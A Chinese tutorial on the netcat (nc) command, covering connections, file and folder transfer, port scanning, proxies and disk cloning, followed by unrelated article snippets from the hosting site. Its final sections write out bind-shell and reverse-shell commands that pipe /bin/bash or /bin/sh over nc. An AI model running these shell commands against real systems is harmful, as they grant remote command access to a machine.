Linux命令——nc

Linux命令——nc

文章目錄

  • Linux命令——nc
    • 例子
      • 客戶端/服務端模型
      • 數據傳輸
      • 與服務端交互
      • 端口掃描
      • 使用代理
      • 發送文件
      • 聊天工具
      • 一次性 Web Server
      • 文件夾傳輸
      • 遠程克隆磁盤
      • shell
      • 反向 shell
    • 參考

netcat,簡寫為 nc,是 unix 系統下一個強大的命令行網絡通信工具,用于在兩臺主機之間建立 TCP 或者 UDP 連接,并提供豐富的命令進行數據通信。nc 在網絡參考模型屬于應用層。使用 nc 可以做很多事情:建立連接,發送數據包,監聽端口,掃描端口,處理 ip4 和 ip6,和 telnet 不同,nc 會區分錯誤輸出和標準輸出,telnet 則都是標準輸出。

nc 強大之處在于輸出是標準輸出(stdout), 輸入來自標準輸入(stdin), 以至于可以很容易通過管道和重定向直接使用或被其他程序和腳本調用。正因為它的這種特性, 以至于你能發揮你的想象力用它做很多事情:

  • 端口掃描: 通過與目的 IP 建立連接, 從而掃描目的IP 的端口是否開放
  • 聊天工具: 一邊使用 nc 監聽一個端口, 另一邊使用 nc 成功連接這個端口即可互相通信
  • 發送文件: 與目的 IP 建立連接, 配合重定向, 源地址讀取文件, 目的地址接收文件
  • 目錄傳輸: tar 命令和管道的結合
  • 遠程克隆磁盤: dd 命令和管道的結合
  • 配合 ssh config 的 ProxyCommand 命令進行跳板登錄

例子

客戶端/服務端模型

使用 nc 可以非常簡單的構建一個基本的客戶端/服務端模型。

首先在一個終端窗口,開啟一個本地端口的監聽。

nc -l 1234

現在 nc 就在監聽 1234 端口,等待一個連接。再另開一個控制臺(或另一臺主機),使用 nc 連接該主機和端口。

nc 127.0.0.1 1234

這樣,連接就已經建立起來了,默認是 TCP 連接,現在在任意一個控制臺輸入內容,另一個控制臺都會收到,此時,nc 已不關心誰是客戶端,誰是服務端了。

數據傳輸

上面的例子,再擴展一下,就可以構建一個數據傳輸模型。

nc 在開啟了端口監聽后,將收到的內容輸出到指定文件

nc -l 1234 > out.txt

在第二個機器(或控制臺)上,連接該主機和端口,并向該主機傳輸文件

nc 127.0.0.1 1234 < in.txt

與服務端交互

與 www.baidu.com 的 80 端口建立一個 TCP 連接

nc www.baidu.com 80

此時,僅僅是建立了一個 TCP 連接,本地的端口號是隨機的。

也可以指定端口,使用 nc -p 1234 www.baidu.com 80 ,即采用本地 1234 端口與百度 80 端口建立連接。

還可以設定連接時間,nc -w 5 www.baidu.com 80,即連接 5s 后自動斷開。

此外,-v選項可以讓 nc 輸出詳細的日志;-u可以建立一個 UDP 連接。

現在使用 HTTP 協議,模擬瀏覽器訪問百度。

echo -n "GET / HTTP/1.0\r\n\r\n" | nc -p 1234 www.baidu.com 80

上面用法也可以這樣寫:

nc -p 1234 www.baidu.com 80
GET / HTTP/1.0
(回車)
(回車)

注意空格和回車。

端口掃描

端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。

檢查本機 8088 - 8090 端口是否開啟

nc 127.0.0.1 -z 8088-8090

使用代理

有些網絡不能直接訪問, 只能通過代理服務才能訪問

通過代理連接 host.example.com 的 42 端口,下面是一些例子,未實際驗證。

# 使用 HTTP 代理 http://10.2.3.4:8080 與 host.example.com 的 42 端口連接
$ nc -x10.2.3.4:8080 -Xconnect host.example.com 42# 使用 socks4 代理 socks4://10.2.3.4:8080 連接 host.example.com 的 42 端口
$ nc -x10.2.3.4:8080 -X4 host.example.com 42# 使用 socks5 代理 socks5://10.2.3.4:8080 連接 host.example.com 的 42 端口
$ nc -x10.2.3.4:8080 -X5 host.example.com 42

發送文件

把 192.168.0.2 上的文件 demo.tar.bz2 發送到 192.168.0.3, 并保存為 demo.tar.bz2:

在 192.168.0.3 上: nc -l 1234 > demo.tar.bz2
在 192.168.0.2 上: nc 192.168.0.3 1234 < demo.tar.bz2

聊天工具

通過在 192.168.0.2 與 192.168.0.3 上建立 TCP 連接來實現聊天:

在 192.168.0.3 上: nc -l 1234
在 192.168.0.2 上: nc 192.168.0.3 1234
這樣, 雙方就可以相互交流了, 使用 Ctrl+C 退出

一次性 Web Server

監聽 8080 端口, 如果通過 http 訪問, 則返回文件 file 的內容, 然后斷開:

	{ printf 'HTTP/1.0 200 OK\r\nContent-Length: %d\r\n\r\n' "$(wc -c < file)"; cat file; } | nc -l 8080">)"}

文件夾傳輸

配合 tar 命令和管道, 在兩臺主機之間傳輸文件夾內容

把 192.168.0.2 的文件夾 dir 發往 192.168.0.3

在 192.168.0.2 上: tar -cvf - dir | nc -l 1234
在 192.168.0.3 上: nc 192.168.0.2 1234 | tar xvf -
使用 tar 的 -j 選項(bzip2) 或 z 選項(gzip) 進行數據壓縮傳輸

遠程克隆磁盤

配合 dd 命令和管道, 進行遠程磁盤讀寫

把 192.168.0.2 上的 /dev/sda 克隆到 192.168.0.3 上的 /dev/sdb:

在 192.168.0.2 上: dd if=/dev/sda | nc -l 1234
在 192.168.0.3 上: nc 192.168.0.2 1234 | dd of=/dev/sdb

shell

可以打開一個遠程主機的 bash, 對遠程主機進行操作

從本地遠程打開 192.168.0.3 的 shell:

在 192.168.0.3 上: nc -l 1234 -e /bin/bash
在本地: nc 192.168.0.3 1234
如果不支持 -e 或 -c 選項, 可以這樣做:

  • 在 192.168.0.3 上:
  $ mkfifo /tmp/tmp_fifo$ cat /tmp/tmp_fifo | /bin/sh 2>&1 | nc -l 1234 > /tmp/tmp_fifo
  • 在本地: nc 192.168.0.3 1234

反向 shell

在服務端訪問客戶端的 shell

服務器 192.168.0.2 訪問本地 shell:

在服務器上: nc -l 1234
在本機: nc 192.168.0.2 1234 -e /bin/bash

參考

使用 nc 讀寫 TCP/UDP 連接

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/213764.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/213764.shtml
英文地址,請注明出處:http://en.pswp.cn/news/213764.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

JS手寫Promise.all方法

測試例子 var f11 Promise.resolve("111");var f22 Promise.resolve("222");var f33 Promise.resolve("333");// var f33 Promise.reject("333");1、用原生 Promise 實現 邏輯說明&#xff1a;接收一個由多個promise方法組成的數組…

uniapp開發小程序-pc端小程序下載后端接口的二進制流文件

fileName包含文件名后綴名&#xff0c;比如test.png這種格式 api.DownloadTmtFile后端接口返回的是文件的二進制流 值得注意的是&#xff0c;微信開發者工具中是測試不了wx.saveFileToDisk的&#xff0c;需要真機或者體驗版測試 handleDownload(fileName) {if (!fileName) retu…

mysql表的字段建議加上NOT NULL約束

mysql的列加上NOT NULL約束&#xff0c;這是一個好的實踐&#xff08;但不是一個強制要求&#xff09;&#xff0c;因為它能帶來一些好處&#xff0c;例如&#xff1a; 設置為NOT NULL&#xff0c;可以確保該列沒有NULL值&#xff0c;對該列的數據的規范性進行約束。加上NOT N…

大文件傳輸軟件和傳統軟件的優缺點

在當前信息時代&#xff0c;文件和數據的傳輸已成為我們工作和生活中不可或缺的一環。無論是向同事發送報告還是與朋友分享電影&#xff0c;我們都需要依賴軟件完成這些操作。然而&#xff0c;隨著文件和數據容量的增大&#xff0c;傳統的文件傳輸軟件如FTP、HTTP、SMB、NFS等已…

pycharm中py文件設置參數

在py文件中右鍵 直接對應復制進去即可

sql35(Leetcode1204最后一個能進入巴士的人)

代碼&#xff1a; from t1,t2 自連接 兩兩組合 group by having 求和 選出<1000的項 # Write your MySQL query statement below select a.person_name from Queue a, Queue b where a.turn>b.turn group by a.person_id having sum(b.weight)<1000 order by a.t…

Android:The emulator process for AVD Pixel_2_API_29 was killed

The emulator process for AVD Pixel_2_API_29 was killed 報錯描述&#xff1a; 第一次安裝Android studio好不容易解決gradle啟動模擬器又出現了以下錯誤 The emulator process for AVD Pixel_2_API_29 was killed原因一&#xff1a; 需要安裝Intel x86 Emulator Acceleer…

開啟AI時代產品管理新篇章——寫給產品經理的一本跨界書

在數字化時代&#xff0c;產品經理的角色和能力要求不斷演變。徐修建所著的《搜廣推策略產品經理——互聯網大廠搜索廣告推薦案例》恰逢其時&#xff0c;為新時代的產品經理提供了寶貴的指南。 首先&#xff0c;它通過通俗易懂的語言和生動案例&#xff0c;成功揭示了互聯網大廠…

Linux-----find命令

一、find命令 find介紹&#xff1a; ???find是可以通過文件名稱、類型、大小、權限屬性、時間戳等條件在指定目錄下查找對應文件或者目錄的工具&#xff1b;還可以配合相關命令對匹配到的文件作出后續處理。 二、工作原理及特點 find在查找文件時會遍歷指定的目錄&#xff…

基于conda環境使用mamba/conda安裝配置QIIME 2 2023.9 Amplicon擴增子分析環境,q2cli主要功能模塊介紹及使用

QIIME 2 2023.9 Amplicon Distribution介紹&#xff1a; 概述 qiime團隊專門針對高通量擴增子序列分析退出的conda集成環境&#xff0c;包括了主要和常見的擴增子分析模塊&#xff0c;用戶可以單獨使用各個模塊&#xff0c;也可以使用各模塊組成不同的分析流程。從2023.09版本…

外匯天眼:掌握這個技巧,你也能成為交易高手

在金融市場這個大潮中&#xff0c;外匯交易因其高杠桿、24小時交易等特點吸引著無數交易者。然而成功的交易并非易事&#xff0c;對于投資者來說&#xff0c;外匯交易市場是一個復雜且多變的市場&#xff0c;要在外匯市場中獲得成功就需要扎實的外匯金融基礎知識和獨特的策略&a…

RocketMQ - Spring Cloud Alibaba RocketMQ

Spring Cloud Stream是Spring Cloud體系內的一個框架&#xff0c;用于構建與共享消息傳遞系統連接的高度可伸縮的事件驅動微服務&#xff0c;其目的是簡化消息業務在Spring Cloud應用中的開發。 Spring Cloud Stream的架構圖如下所示&#xff0c;應用程序通過Spring Cloud Str…

論文閱讀《Domain Generalized Stereo Matching via Hierarchical Visual Transformation》

論文地址&#xff1a;https://openaccess.thecvf.com/content/CVPR2023/html/Chang_Domain_Generalized_Stereo_Matching_via_Hierarchical_Visual_Transformation_CVPR_2023_paper.html 概述 立體匹配模型是近年來的研究熱點。但是&#xff0c;現有的方法過分依賴特定數據集上…

五年制專轉本備考沖刺階段,老師給你六點建議助你上岸

1、熱衷的不是學習&#xff0c;而是思考 人與人之間最大的差別在于思維的差別&#xff0c;也可以說是思考的差別。專轉本也是如此&#xff0c;有人思考得簡單&#xff0c;有人思考得復雜&#xff1b;有人想得全面&#xff0c;有人想得膚淺。 只有善于思考&#xff0c;才會對問…

100:ReconFusion: 3D Reconstruction with Diffusion Priors

簡介 官網 少樣本重建必然導致nerf失敗&#xff0c;論文提出使用diffusion模型來解決這一問題。從上圖不難看出&#xff0c;論文一步步提升視角數量&#xff0c;逐步與Zip-NeRF對比。 實現流程 Diffusion Model for Novel View Synthesis 給定一組輸入圖像 x o b s { x i…

Jmeter beanshell編程實例

1、引言 BeanShell是一種小型的&#xff0c;免費的&#xff0c;可嵌入的符合Java語法規范的源代碼解釋器&#xff0c;具有對象腳本語言特性。 在Jmeter實踐中&#xff0c;由于BeanShell組件較高的自由度&#xff0c;通常被用來處理較為復雜&#xff0c;其它組件難以處理的問題…

c語言:文件操作(1)

前言&#xff1a;為什么要使用文件 使用文件可以讓程序在不同運行之間保存和讀取數據。這樣可以實現持久化存儲&#xff0c;即使程序關閉后數據也不會丟失。文件也可以用于數據交換&#xff0c;允許不同程序之間共享信息。在 C 語言中&#xff0c;文件還可以用于讀取配置信息&…

系統架構設計師教程(三)信息系統基礎知識

信息系統基礎知識 3.1 信息系統概述3.1.1 信息系統的定義3.1.2 信息系統的發展3.1.3 信息系統的分類3.1.4 信息系統的生命周期3.1.5 信息系統建設原則3.1.6 信息系統開發方法 3.2 業務處理系統 (TPS)3.2.1 業務處理系統的概念3.2.2 業務處理系統的功能3.2.3 業務處理系統的特點…

Python:核心知識點整理大全13-筆記

目錄 6.4.3 在字典中存儲字典 6.5 小結 第7章 用戶輸入和while循環 7.1 函數 input()的工作原理 7.1.1 編寫清晰的程序 7.1.2 使用 int()來獲取數值輸入 7.1.3 求模運算符 7.1.4 在 Python 2.7 中獲取輸入 7.2 while 循環簡介 7.2.1 使用 while 循環 往期快速傳送門…

基于jsonrpc4j實現JSON-RPC over HTTP(客戶端多種調用方式)

1.說明 前文基于jsonrpc4j實現JSON-RPC over HTTP(服務端集成Spring Boot)&#xff0c; 介紹了JSON-RPC over HTTP服務端的實現方法&#xff0c; 并且通過Postman工具調用服務端對外提供的方法&#xff0c; 下面介紹兩種基于Java代碼調用客戶端的方法&#xff1a; 非Spring框…